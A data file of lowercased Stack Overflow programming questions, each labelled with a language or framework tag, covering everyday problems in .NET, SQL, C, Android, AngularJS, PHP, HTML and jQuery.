why my site homepage is hit with source website url appended to the request   my homepage is sometime requested with a strange url containing the source site address (or part of it). instead of getting requests to www.mysite.com i get (some examples):   <ul> <li>www.mysite.com/https:/www.google.com/chrome&amp;usg=afqjcnfzwyzkjacq2ddt4rkovohcr8e-ha</li> <li>www.mysite.com/&amp;ei=rtzgt4q97m3hbinx4ayo&amp;usg=afqjcnf2yctk_n271_rlilplc15xtclilw</li> <li>www.mysite.it/https:/www.google.com/chrome</li> <li>www.mysite.com/https:/[mysitename].uservoice.com/forums/150727-xxx</li> <li>www.mysite.com/https:/www.facebook.com/dialog/oauth client_id=xxx8&amp;redirect_uri=http://www.mysite.com&amp;scope=publish_stream email</li> </ul>   and so on...    all these generates exceptions (a potentially dangerous request.path value was detected from the client). before trying to turn off .net security check on url  i d like to understand why i get such requests. any ideas  it is clearly impossibile that those url are intentionally submitted by users!,.net
getting table data with total counts  i am having follwoing table    student   <pre><code>sid sname   branch  semester   1   vijay   cse      6   2   ajay    mech     4   3   riteh   cse      6    4   nutan   cse      6   5   riya    etc      4   6   ritu    cse      6  </code></pre>   here i want to fetch all record and total fetched record count for that i am using following query  but this is not able to fetch all records   <pre><code>select * count(sid) from students </code></pre>   how can we do this,mysql
error: expected specifier-qualifier-list before  i m trying to compile a project and an error (the only error  at that) is being raised in the header file.    <pre><code>error: expected specifier-qualifier-list before ‘draw’ </code></pre>   the offending line of code can be found here:   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt;  #define lname 129  #define dnum 17   typedef struct {   char name[lname];    double x[dnum];           double y[dnum];           double x_point[dnum];     double y_point[dnum];   int draw;                    draw = 1;                         //&lt;&lt; the line gcc references in the error for reference   memset(name  0  sizeof(name));   memset(x  0  sizeof(x));   memset(y  0  sizeof(y)); } figure; </code></pre>   i m rather new to c so if anyone can give a little insight i d appreciate it.,c
possibility of buffer allocation in header files  i d like to know if it is possible in c to allocate memory in the header file to make it easy for me. for instance  in my source code  i allocate <code>data</code> buffer like this:   <pre><code>float *data = malloc((10*10) * sizeof(float)); </code></pre>   my code is going to be compared with other person s code so i want to only insert my function <code>cluster(data  p  dim  ...)</code> in his code and just add my header (which already includes all buffers allocation) as well. is this valid     thank you,c
error when trying to run rails server on osx yosemite  i am trying to run rails server on osx yosemite and get this error:   <pre class= lang-none prettyprint-override ><code>bin/rails:6: warning: already initialized constant app_path /users/kirtmartin1/ruby/testlab/dosoon/bin/rails:6: warning: previous definition of app_path was here usage: rails command [args]  the most common rails commands are:  generate    generate new code (short-cut alias:  g )  console     start the rails console (short-cut alias:  c )  server      start the rails server (short-cut alias:  s )  dbconsole   start a console for the database specified in config/database.yml              (short-cut alias:  db )  new         create a new rails application.  rails new my_app  creates a              new application called myapp in  ./my_app   in addition to those  there are:  application  generate the rails application code  destroy      undo code generated with  generate  (short-cut alias:  d )  plugin new   generates skeleton for developing a rails plugin  runner       run a piece of code in the application environment (short-cut alias:  r )  all commands can be run with -h (or --help) for more information.  kirts-macbook-pro-3:dosoon kirtmartin1$  </code></pre>   how can i fix this,ruby-on-rails
small example of sql query  i am new in sql queries.      i am working on the transaction with databases.        i want to write a sql query which will insert only those numbers which are starting from 101.       <pre><code>sql =  insert into tablex where values 101123 ; sql =  insert into tablex where values 10100 ;   sql =  insert into tablex where values 101125 ;   </code></pre>   all inserts should happnd with values which starts with 101 only.<br> the numbers 101123  10100  101123 comes from a text file with some program.        i want to only insert those numbers which starts with 101 in table.,sql
android mediaplayer.start does not start  i have yet to find an answer to this.     i have a local file (r.raw.bob); and i am trying to use mediaplayer to play the file.    sometimes it plays  sometimes it does not. i have another file which plays seemingly fine every time.    my activity flow is like this: in oncreate i do the following:   <pre><code>mediaplayer mbackground = mediaplayer.create(mainact.this  r.raw.background); mbackground.start(); // works as expected. </code></pre>   now in a different part of the activity i have the following:   <pre><code>mediaplayer mbob= mediaplayer.create(mainactivity.this  r.raw.bob); mbob.start(); </code></pre>   and nothing occurs. i have used log.i() and the execution goes through the relevant code but the file does not start.    why does mediaplayer sometimes work and sometimes does not  and is there a more reliable way of playing sound files,android
inject provider into directive not working  i m trying to use <a href= https://github.com/compact/angular-bootstrap-lightbox#basic-example  rel= nofollow >angular-bootstrap-lightbox</a>   and i need to inject lightbox provider into directive like so    <pre><code>controller: [ lightbox    function ($scope  $rootscope  $filter  fileuploader lightbox) { </code></pre>   but this is lead to the following error :    <pre><code>error: [$injector:unpr] unknown provider: $uibmodalprovider &lt;- $uibmodal &lt;- lightbox &lt;- lightbox </code></pre>   any body can help to resolve this   thanks in advance .,angularjs
how can i understand the while  do...while and increment operators in following program   i am here from a competitive exam on  c . i cant able find the answer for the following c program :   <pre><code>    int i=1;     do       while(i++&gt;5);     while(i++&gt;4);     while(i++&gt;3); </code></pre>   the question is to find the final value of  i . i have find out that the output is  4  by using gcc. but  i can t understand the mechanism. please explain me...,c
"smooth scroll broken  i m trying to figure out how to make <a href= https://github.com/cferdinandi/smooth-scroll  rel= nofollow noreferrer > smooth-scroll.js </a> work with my parallax page.     the way the page is laid out  the body and html have no height value. the div <code>parallax</code> contains all the content has has the appropriate height. as far as i understand  smooth-scroll.js exclusively uses body and html to calculate height and how far to scroll.     this is my smooth scroll scripts on html page.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script type= text/javascript  src= /js/jquery-3.1.1.min.js &gt;&lt;/script&gt;
     &lt;!-- scripts --&gt;
  &lt;!-- mobile nav js --&gt;
     &lt;script src= js/classie.js &gt;&lt;/script&gt;
  &lt;script src= js/main.js &gt;&lt;/script&gt;
  &lt;!-- smooth scroll --&gt;
  &lt;script src= js/smooth-scroll.js &gt;&lt;/script&gt;
  &lt;script&gt;
  var scroll = new smoothscroll( a[href*= # ]   {
  // speed &amp; easing
  speed: 500  // integer. how fast to complete the scroll in milliseconds
  offset: 0  // integer or function returning an integer. how far to offset the scrolling anchor location in pixels
  easing:  easeinoutcubic   // easing pattern to use
  });
  &lt;/script&gt;</code></pre>
 </div>
 </div>
     i ve tried changing height calculation in smooth-scroll.js by changing:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>var getdocumentheight = function () {
   return math.max(
    document.body.scrollheight  document.documentelement.scrollheight 
    document.body.offsetheight  document.documentelement.offsetheight 
    document.body.clientheight  document.documentelement.clientheight
   );
  };</code></pre>
 </div>
 </div>
     to this:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>var getdocumentheight = function () {
   return math.max(
    $(document).height()
   );
  };</code></pre>
 </div>
 </div>
     im struggling to figure out how to fix this issue. the site i m working on right now is 123rsv.com/grimdawn if you want to see the problem in action. use mobile view as that s the only navigation set right now. thanks.",javascript
self scanning code to prevent print statments  i have a python project i m working on whereby instead of print statements i call a function say() so i can print information while in development and log information during production.  however  i often forget this and put print statements in the code by mistake.  is there anyway to have the python program read its own source  and exit() if it finds any print statements outside of the function say(),python
how to find out which resources are unused in my android application   how to find out which resources (like drawable  layout etc.) are unused in my android application  i am sure some of the resource is not used but i don t know how to find them.,android
get one item from a list in parent scope  i have the following angular controllers:   <pre><code>function taglistcontroller($scope) {   $scope.model = {     tags: [ tag 1    tag 2    tag 3  ]      template:  list    }     $scope.showtemplate = function (template) {     $scope.model.template = template;   }; }  function tageditcontroller($scope) {   $scope.tagtoedit = $scope.$parent.model     } </code></pre>   and i have the following html to show a list of tags and to edit a tag:   <pre><code>&lt;ul ng-if= model.template ==  list   ng-controller= taglistcontroller &gt;   &lt;li data-ng-repeat= tag in model.tags &gt;     &lt;span data-ng-bind= tag.name &gt;&lt;/span&gt;&lt;/br&gt;     &lt;a href=   data-ng-click= show( edit ) &lt;/a&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;script type= text/ng-template  id= edit &gt;   &lt;div ng-controller= tageditcontroller &gt;     edit template   &lt;/div&gt; &lt;/script&gt;  &lt;div ng-if= model.template ==  edit   ng-include=  edit  &gt;&lt;/div&gt; </code></pre>   using model.template i am able to show the edit template.    but how can i  in <code>edittagcontroller</code>  use the tag which edit link was clicked     i know it will be one of the items in <code>$scope.$parent.model.tags.</code>    i just don t know how to select it and the best way to select it.,angularjs
windows 2000 and .net 2.0+  i have heard  that windows 2000 can only be used together with .net 2.0 and no other version above this. is that true and if it is  do you have an official post or something like that from microsoft  where i can read about the restriction     thanks.,.net
sql query for join concatenation and searching within data (wildcard)  how can i write the sql query for this particular case     list details that managers have bought the currency of british pound and japanese yen in second half year of 2014. these details include manager’s name  currency name  quantities purchased  exchange rate and transaction date.    results should be like this     <pre><code>firstname  lastname  currencyname  quantitypurchased  exchangerate  transactiondate </code></pre>   the tables i am using are     <strong>currency</strong>   <pre><code>code   name   interestrate   analystid   ratingid  </code></pre>   <strong>manager</strong>   <pre><code>managerid   firstname   lastname   qualification   staffid </code></pre>   <strong>trade</strong>   <pre><code>tradeid   quantities   trademode   exchangerate   transactiondate   managerid   (currency)code  portfolioid </code></pre>   what i understand so far is that i have to use the join function and date range for transaction but don t understand how to search data for british pound while in my table the name of currency is great british pound     actually i have to write an sql query which i am going to run on access <strong>query</strong> list details that managers have bought the currency of british pound and japanese yen in second half year of 2014. these details include manager’s name  currency name  quantities purchased  exchange rate and transaction date.  and results will be like i mentioned above,sql
update_column updates my instance.xxxable but not the instance itself   i m not sure this is because i m using rails 4 but i m puzzled.   <pre><code>i have the following models set:  class post &lt; activerecord::base   has_many :stars  :as =&gt; :starable  :dependent =&gt; :destroy    belongs_to :user end  class star &lt; activerecord::base   before_create :add_to_total_stars    belongs_to :starable  :polymorphic =&gt; true    protected    def add_to_total_stars     if [post].include (starable.class)       self.starable.update_column(:total_stars  starable.total_stars + self.number)     end   end end  class user &lt; activerecord::base   has_many :posts  dependent: :destroy   has_many :votes  dependent: :destroy end </code></pre>   so i created a star and a post in the rails console:   <pre><code>star = post.stars.build number: 2 post = post.create title:  test   content:  test   user_id: 1 </code></pre>   then used the following to modify the <code>average_stars</code> column in <code>post</code>:   <pre><code>star.starable.update(:average_stars  4) </code></pre>   everything ok so far:   <pre><code>star.starable  =&gt; #&lt;post id: 9  title:  test   content:  test   created_at:  2013-07-25 16:05:52   updated_at:  2013-07-25 16:05:52   user_id: 1  average_stars: 4  total_stars: 0.0&gt;  </code></pre>   but then i wanted to check <code>post</code> and i saw this:   <pre><code> post  =&gt; #&lt;post id: 9  title:  test   content:  test   created_at:  2013-07-25 16:05:52   updated_at:  2013-07-25 16:05:52   user_id: 1  average_stars: 0  total_stars: 0.0&gt;  </code></pre>   <code>average_stars</code> wasn t updated at all.    why is update_column updating star.starable but not the post,ruby-on-rails
javascript remove one html tag with a specific structure  i can remove all html tags from the text but i cannot remove just the structure in span tags with data-word inside ...    <pre><code>function strip(html) {    var tmp = document.createelement( div );    tmp.innerhtml = html;    return tmp.textcontent || tmp.innertext ||   ; } </code></pre>   original is:   <pre><code>i &lt;span data-word= word1  class= synonyms  title= word2 &gt;word3&lt;/span&gt; &lt;b&gt;word4&lt;b&gt;. </code></pre>   the result should be:   <pre><code>i word3 &lt;b&gt;word4&lt;/b&gt;.  </code></pre>   with the script from above the result i get is:i word3 word4. so the remaining html is not preserved.      it is code from <a href= https://stackoverflow.com/questions/822452/strip-html-from-text-javascript >strip html from text javascript</a>.,javascript
in which path should i need to put the text file to write in android  i have an android app and i need to write some string values in text file. i have coding to write in a text file. but i don t know where should i create my text file.please  refer my code below    <pre><code>fileoutputstream fout = null;   outputstreamwriter osw = null;   try{   fout = openfileoutput(“public.dat”  context.mode_private);   osw = new outputstreamwriter(fout);  osw.write(“text”);  osw.close();   fout.close();   }catch(exception e){   e.printstacktrace(system.err);   } </code></pre>   please inform me in which path should i create the text file.,android
do i have to override gethashcode and equals in new classes   okay  so if i override equals  i need to override gethashcode and vice versa.    but i just wonder: should i always override these two in any class  especially if i know that i will use them in a dictionary or similar collections  while this is <a href= https://stackoverflow.com/questions/263400/what-is-the-best-algorithm-for-an-overridden-system-object-gethashcode/263416#263416 >fairly straight forward</a>  it s still an extra work for every class.    is the system.object implementation bad enough to worry about this     edit: can you detail a bit more what is value and reference equality  so if i have two strings (s1 and s2) that are both  test   they are value equal  but since they are two different strings  they are not reference-equal  ok  for strings it s a no-brainer  but what are the common situations where you would want reference or value equality,.net
how to get  key  from params  <pre><code>&lt;%= params[:select] %&gt;  # key=qwerty secret=qwerty token=qwerty token_secret=qwerty </code></pre>   please tell me how i can get  key    i do not understand:   <pre><code>&lt;%= params{[:select[:key]]} %&gt; # { tweet =&gt;     select =&gt; key=qwerty secret=qwerty token=qwerty token_secret=qwerty    controller =&gt; twitter_postings    action =&gt; index } </code></pre>,ruby-on-rails
for each loop in elseif condition not working  in my project in index file i have following code.   <pre><code>&lt; php include  app/config.php ; $browser_t= web ;  if ($page_name==  ) {     include $browser_t. /index.php ; } elseif ($page_name== index.php ) {     include $browser_t. /index.php ; } elseif ($page_name== about aboutus=aboutus ) {     include $browser_t. /about/index.php ; } elseif ($page_name== about aboutus=aboutus&amp;aboutus_id=1 ) {     include $browser_t. /about/index.php ; } elseif ($page_name== about aboutus=aboutus&amp;aboutus_id=2 ) {     include $browser_t. /about/index.php ; } elseif ($page_name== about aboutus=aboutus&amp;aboutus_id=3 ) {     include $browser_t. /about/index.php ; } elseif ($page_name== about aboutus=aboutus&amp;aboutus_id=4 ) {     include $browser_t. /about/index.php ; } elseif ($page_name== about aboutus=aboutus&amp;aboutus_id=5 ) {     include $browser_t. /about/index.php ; }  &gt; </code></pre>   i want to make it dynamic. so  i am using following query.   <pre><code>&lt; php include  app/config.php ; $browser_t= web ;  if ($page_name==  ) {     include $browser_t. /index.php ; } elseif ($page_name== index.php ) {     include $browser_t. /index.php ; } elseif ($page_name== about aboutus=aboutus ) {     include $browser_t. /about/index.php ; } elseif ($query= select id from aboutus_tbl ; $result=mysql_query($query);     foreach ($result as $value) {         echo $page_name== about aboutus=aboutus&amp;aboutus_id= .$value;     }) {       include $browser_t. /about/index.php ; } </code></pre>   it is displaying error and i don t know how it can be done how to use foreach loop or while loop here please help me.   <pre><code>&lt; php   include  app/config.php ; $browser_t= web ;  if ($page_name==  ) {     include $browser_t. /index.php ; } elseif ($page_name== index.php ) {     include $browser_t. /index.php ; } elseif ($page_name== about aboutus=aboutus ) {     include $browser_t. /about/index.php ; } elseif( mysql_num_rows( $result =   mysql_query(  select id from aboutus_tbl;  ) ) &gt; 0 ) {     $result_data    =   mysql_fetch_row($result);     foreach($result_data as $value) {         $page_name = about aboutus=aboutus&amp;aboutus_id= .$value;     }       include $browser_t. /about/index.php ;     } elseif ($page_name== courses cosoff=cosoff ) {     include $browser_t. /courses/index.php ;     } elseif( mysql_num_rows( $result2 =   mysql_query(  select id from courses;  ) ) &gt; 0 ) {     $result_data2    =   mysql_fetch_row($result2);     foreach($result_data2 as $value) {         $page_name = courses cosoff=cosoff&amp;cors_id= .$value;     }       include $browser_t. /courses/index.php ;     } elseif ($page_name== admission admi=admi ) {     include $browser_t. /admission/index.php ;     } elseif( mysql_num_rows( $result3 =   mysql_query(  select id from admission;  ) ) &gt; 0 ) {     $result_data3    =   mysql_fetch_row($result3);     foreach($result_data3 as $value) {         $page_name = admission admi=admi&amp;admi_id= .$value;     }       include $browser_t. /admission/index.php ;     } elseif ($page_name== facelities face=face ) {     include $browser_t. /facelities/index.php ;     } elseif( mysql_num_rows( $result4 =   mysql_query(  select id from facelities;  ) ) &gt; 0 ) {     $result_data4    =   mysql_fetch_row($result4);     foreach($result_data4 as $value) {         $page_name = facelities face=face&amp;face_id= .$value;     }       include $browser_t. /facelities/index.php ;     } elseif ($page_name== events eve=eve ) {     include $browser_t. /events/index.php ;     } elseif( mysql_num_rows( $result5 =   mysql_query(  select id from events;  ) ) &gt; 0 ) {     $result_data5    =   mysql_fetch_row($result5);     foreach($result_data5 as $value) {         $page_name = avrodh.php eve=eve&amp;evt_id= .$value;     }       include $browser_t. /events/index.php ;     } elseif ($page_name== career.php car=car ) {     include $browser_t. /career.php ;     } elseif ($page_name== contact.php con=con ) {     include $browser_t. /contact.php ;     } elseif ($page_name== config.php ) {     include $browser_t. /config.php ;     } elseif ($page_name== campus_tour.php nohead=nohead ) {     include $browser_t. /campus_tour.php ;     } elseif ($page_name== gallery.php nohead=nohead ) {     include $browser_t. /gallery.php ;     } elseif ($page_name== stud_corner.php nohead=nohead ) {     include $browser_t. /stud_corner.php ;     } elseif ($page_name== 404.php ) {     include $browser_t. /404.php ; } else {     include $browser_t. /404.php ; }   &gt; </code></pre>,php
faulting module name: clr.dll  error message when you run a microsoft .net framework 4-based application  i have a application which was working fine until i move on to dot net framework 4. now whenever i install and open my appication it crashes with the below error msg.   <pre><code> problem signature:  problem event name:    appcrash  application name:  myapplication.exe  application version:   8.0.18428.531  application timestamp: 50dc3ecf  fault module name: clr.dll  fault module version:  4.0.30319.1  fault module timestamp:    4ba21eeb  exception code:    c00000fd  exception offset:  000000000010791f  os version:    6.1.7601.2.1.0.256.1  locale id: 1033  additional information 1:  4598  additional information 2:  45986a8b8021cca3bd025450731a9c6a  additional information 3:  e90e  additional information 4:  e90e0a2cf591d6675172685f07f0ec36 </code></pre>   i have done some googling and find out that we are not the only one who is facing this  problem. then i found this link  <a href= http://support.microsoft.com/kb/2640103 >http://support.microsoft.com/kb/2640103</a> which tells the problem of dot net framework 4 and suggesting to install a hotfix that resolves this problem . problem is  i couldn t figure out where to get the hotfix that they are talking about.    someone suggest this link for the hotfix   <a href= https://connect.microsoft.com/visualstudio/downloads/downloaddetails.aspx downloadid=29638 >https://connect.microsoft.com/visualstudio/downloads/downloaddetails.aspx downloadid=29638</a>    i downloaded and installed it but still the same error occurs.am i installing the     right hotfix .please guide me .,.net
what are all the possible downsides of not closing a datareader in .net framework   i am looking for a comprehensive analysis on the side effects of not closing it. example: effect on connection pooling  memory  etc.,.net
"nesting html tables  i am currently working on a html table where b and c tiles of the table in attached screenshot to be merged into one single tile.  please find attached the screenshot and the code. i have attached the code as stackoverflow snippet  please check. can anybody here help me please on this issue     thanks in advance!    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table style= width: 100%; text-align: left; margin-left: auto; margin-right: auto  border=0 cellspacing=0&gt;
   &lt;tbody&gt;
     &lt;tr&gt;
       &lt;td style= font-family: arial; color: white; text-align: left; padding-top: 4px; padding-left: 4px; padding-right: 4px; background-color: rgb(139 198 100)  colspan=2&gt;
         &lt;font size=2 style= font-size: 18px; font-weight: bold; color: white &gt;
           &lt;strong&gt;&lt;font color=#ffffff size=2&gt;select a study:&lt;/font&gt;&lt;/strong&gt;
         &lt;/font&gt;
       &lt;/td&gt;
     &lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;
 &lt;table style= height: 35%; width: 100%; text-align: left; margin-left: auto; margin-right: auto  border=0 cellspacing=0&gt;
   &lt;tbody&gt;
     &lt;tr&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; width: 30%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=2&gt;
           &lt;strong&gt;&lt;font size=4&gt;a&lt;/font&gt; &lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;font size=4&gt;
           &lt;strong&gt;&lt;spotfirecontrol id=cc25934ac4de4386ad7ce45aed675335 /&gt;&lt;/strong&gt;
         &lt;/font&gt;
       &lt;/td&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; width: 30%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=4&gt;
           &lt;strong&gt;d&lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;strong&gt;&lt;spotfirecontrol id=8da4f7a82bbe46cd8eafbbcec7189995 /&gt;&lt;/strong&gt;
       &lt;/td&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; height: 300%; width: 25%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=4&gt;
           &lt;strong&gt;e&lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;strong&gt;&lt;spotfirecontrol id=eb17e9a209314097b6519af8e8adfe5b /&gt;&lt;/strong&gt;
       &lt;/td&gt;
     &lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;
 
 
 &lt;table style= height: 30%; width: 100%; text-align: left; margin-left: auto; margin-right: auto  border=0 cellspacing=0&gt;
   &lt;tbody&gt;
     &lt;tr&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; width: 30%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=2&gt;
           &lt;strong&gt;&lt;font size=4&gt;b*&lt;/font&gt; &lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;font size=4&gt;
           &lt;strong&gt;&lt;spotfirecontrol id=cc25934ac4de4386ad7ce45aed675335 /&gt;&lt;/strong&gt;
         &lt;/font&gt;
       &lt;/td&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; width: 30%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=4&gt;
           &lt;strong&gt;f&lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;strong&gt;&lt;spotfirecontrol id=8da4f7a82bbe46cd8eafbbcec7189995 /&gt;&lt;/strong&gt;
       &lt;/td&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; height: 300%; width: 25%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=4&gt;
           &lt;strong&gt;g&lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;strong&gt;&lt;spotfirecontrol id=eb17e9a209314097b6519af8e8adfe5b /&gt;&lt;/strong&gt;
       &lt;/td&gt;
     &lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;
 
 
 
 &lt;table style= height: 35%; width: 100%; text-align: left; margin-left: auto; margin-right: auto  border=0 cellspacing=0&gt;
   &lt;tbody&gt;
     &lt;tr&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; width: 30%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=2&gt;
           &lt;strong&gt;&lt;font size=4&gt;c*&lt;/font&gt; &lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;font size=4&gt;
           &lt;strong&gt;&lt;spotfirecontrol id=cc25934ac4de4386ad7ce45aed675335 /&gt;&lt;/strong&gt;
         &lt;/font&gt;
       &lt;/td&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; width: 30%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=4&gt;
           &lt;strong&gt;h&lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;strong&gt;&lt;spotfirecontrol id=8da4f7a82bbe46cd8eafbbcec7189995 /&gt;&lt;/strong&gt;
       &lt;/td&gt;
       &lt;td style= border-top: rgb(247 243 247) 0pt solid; font-family: arial; border-right: rgb(247 243 247) 2px solid; height: 300%; width: 25%; border-bottom: rgb(247 243 247) 2px solid; padding-bottom: 6px; text-align: center; padding-top: 6px; padding-left: 6px; border-left: rgb(247 243 247) 2px solid; padding-right: 6px &gt;
         &lt;font color=#007cc2 size=4&gt;
           &lt;strong&gt;i&lt;br&gt;&lt;/strong&gt;
         &lt;/font&gt;
         &lt;strong&gt;&lt;spotfirecontrol id=eb17e9a209314097b6519af8e8adfe5b /&gt;&lt;/strong&gt;
       &lt;/td&gt;
     &lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>
     <a href= https://i.stack.imgur.com/0bthz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0bthz.png  alt= table ></a>",html
is there such a thing as  try-reallocate  a different size on the same address   so lets say i have a chunk of bytes allocated with new and the size is not enough anymore. i would like to add another bunch of bytes to it without having to reallocate and copy over all the existing data.     i realize that there is no way to guarantee that this is possible since the memory right after my allocated chunk might be occupied but in theory  it should be possible to  try   right  i m thinking this could slightly optimize the performance of my dynamically sized container.,c++
jquery on sometimes executed multiple times  i have problem with jquery <code>on</code> function  sometimes the script executed multipe times  indicated by the xhr log in my console call multiple times. below is the script that sometimes get executed more than once.   <pre><code>$( body ).on( blur    input.required   function () {     var i = 0;     var row = $(this).closest( tr );     var sid = row.find( .students-cb );     row.find( input.required ).each(function () {         if ($(this).val().length &gt; 0) {             i++;         }     });     if (i == 3) {         var fname = row.find( input.required ).eq(0).val();         var lname = row.find( input.required ).eq(1).val();         var grade = row.find( select[name=grade] ).eq(0).val();         var pass = row.find( input.required ).eq(2).val();         var json = {              baserequest : {                  ssousername : ssousername                   authtoken : authtoken                   ncesnbr :  1926              }               firstname : fname               lastname : lname               password : pass               gender :  m                gradelevel : grade               passwordcomplexitylevel : grade               handedpreference :  left          };         var sidval = sid.val() ==  on       : (sid.val() ==  off       : sid.val());          if (sidval.length &gt; 0) { // update             json.sid = sid.val();             poster( hwtstudentws/updatestudent   json  function (data) {                 if (data != false) {                     if (istyped) {                         if ($( .success_update ).length == 0) {                             var msg =  &lt;span class= success_update pull-right  style= font-size:14px;font-weight:bold;color:#00ca00; &gt;all changes saved&lt;/span&gt; ;                             $(msg).appendto( #class-info );                         } else {                             $( .success_update ).show();                         }                         settimeout(function () {                             $( .success_update ).fadeout();                         }  2000);                         istyped = false;                     }                 }             }   http://url.com/ );         } else { //create             if (grade.length &gt; 0) {                 json.cid = cid;                 json.teacheruid = teacheruid;                 poster( hwtstudentws/createstudent   json  function (data) {                     sid.val(data.sid);                     sid.attr( data-cid   cid);                     sid.attr( data-studentname   data.firstname +     + data.lastname);                     sid.closest( tr ).find( .required ).addclass( saved );                     if ($( .success ).length == 0) {                         var msg =  &lt;span class= success pull-right  style= font-size:14px;font-weight:bold;color:#00ca00; &gt;license has been assigned&lt;/span&gt; ;                         $(msg).appendto( #class-info );                     } else {                         $( .success ).show();                     }                     settimeout(function () {                         $( .success ).fadeout();                     }  2000);                 }   http://url.com/ );             } else {                 alert( please select grade level );             }          }     } }); </code></pre>   is there something wrong with my code  how to prevent this <code>on</code> executed multiple times. any help would be appreciated    the html    <pre><code>... &lt;tr&gt;   &lt;td&gt;     &lt;input type= checkbox  class= select students-cb  /&gt;     &lt;div class= checkbox-replacement &gt;&lt;/div&gt;   &lt;/td&gt;     &lt;td width= 15% &gt;&lt;input type= text  name= fname  class= col-md-12 required  placeholder= first name  /&gt;&lt;/td&gt;     &lt;td width= 15% &gt;&lt;input type= text  name= lname  class= col-md-12 required  placeholder= last name  /&gt;&lt;/td&gt;     &lt;td width= 15% &gt;&lt;select name=   class= custom-arrow grade &gt;     &lt;option value=  &gt;grade level&lt;/option&gt;     &lt;option value= k &gt;k&lt;/option&gt;         &lt;option value= 1 &gt;1&lt;/option&gt;     &lt;option value= 2 &gt;2&lt;/option&gt;     &lt;option value= 3 &gt;3&lt;/option&gt;     &lt;option value= 4 &gt;4&lt;/option&gt;     &lt;option value= 5 &gt;5&lt;/option&gt;     &lt;/select&gt;&lt;/td&gt;     &lt;td width= 15% &gt;&lt;input type= password  name= password  class= col-md-12 required  placeholder= password  /&gt;&lt;/td&gt;     &lt;td&gt;&lt;select name= licenses  class= custom-arrow licenses product-dropdown &gt;&lt;/select&gt;&lt;/td&gt; &lt;/tr&gt; ... </code></pre>   ps: the <code>&lt;tr&gt;</code> can be more than one,jquery
how to make my function only run on firefox   how can test the browser and run my function only for firefox    <pre><code>function myfunc(){ console.log( this should be run only on firefox browser ); } </code></pre>  <hr>   i came to know jquery.browser is deprecated and says use support instead so i tried $.support.mozilla not work. so how can i do it with support method,jquery
